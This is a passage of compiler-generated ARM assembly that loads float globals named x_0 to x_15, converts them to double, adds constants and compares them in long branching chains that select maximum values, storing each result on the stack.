mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L543:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1528
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1529
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1529:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1528:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1530
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1530:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1525:
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1531
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L556
.L1531:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L556:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1532
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L559
.L1532:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L559:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1533
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1534
ldr r3, .L1689+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1534:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1533:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1535
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L553
.L1535:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+28
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L553:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-60] @ float
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1536
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L571
.L1690:
.align 2
.L1689:
.word 1076756480
.word x_4
.word 1077084160
.word x_9
.word 1075314688
.word x_14
.word 1075576832
.word 1076101120
.word 1077149696
.word x_2
.word x_7
.word x_8
.word 1076953088
.word x_12
.word 1076232192
.word x_0
.word 1076887552
.word x_3
.word 1075838976
.word x_5
.word 1075970048
.word x_6
.word 1076363264
.word x_9
.word x_10
.word 1077084160
.word 1074266112
.word x_15
.word 1072693248
.word x_13
.L1536:
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L571:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1537
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L574
.L1537:
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L574:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1538
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1539
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L580
.L1539:
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L580
.L1538:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1540
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L580
.L1540:
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L580:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1541
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L586
.L1541:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L586:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1542
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L589
.L1542:
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L589:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1543
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1544
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L595
.L1544:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L595
.L1543:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1545
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L595
.L1545:
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L595:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1546
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1547
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L603
.L1547:
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L603:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1548
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L606
.L1548:
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L606:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1549
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1550
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1550:
ldr r3, .L1689+36
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1549:
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1551
ldr r3, .L1689+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1551:
ldr r3, .L1689+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1546:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1552
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L619
.L1552:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L619:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1553
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L622
.L1553:
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L622:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1554
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1555
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1555:
ldr r3, .L1689+52
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1554:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1556
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L616
.L1556:
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L616:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-56] @ float
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1557
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L634
.L1557:
ldr r3, .L1689+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L634:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1558
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L637
.L1558:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L637:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1559
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1560
ldr r3, .L1689+60
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+64
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L643
.L1560:
ldr r3, .L1689+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L643
.L1559:
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1561
ldr r3, .L1689+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+80
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L643
.L1561:
ldr r3, .L1689+84
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+88
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L643:
ldr r3, .L1689+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+112
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1562
ldr r3, .L1689+92
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+112
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L649
.L1562:
ldr r3, .L1689+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L649:
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+104
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1689+108
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1689+112
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1563
ldr r3, .L1689+116
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L652
.L1563:
ldr r3, .L1691+4
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L652:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1564
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1565
ldr r3, .L1691+8
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L658
.L1565:
ldr r3, .L1691+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691+12
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L658
.L1564:
ldr r3, .L1691+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1691
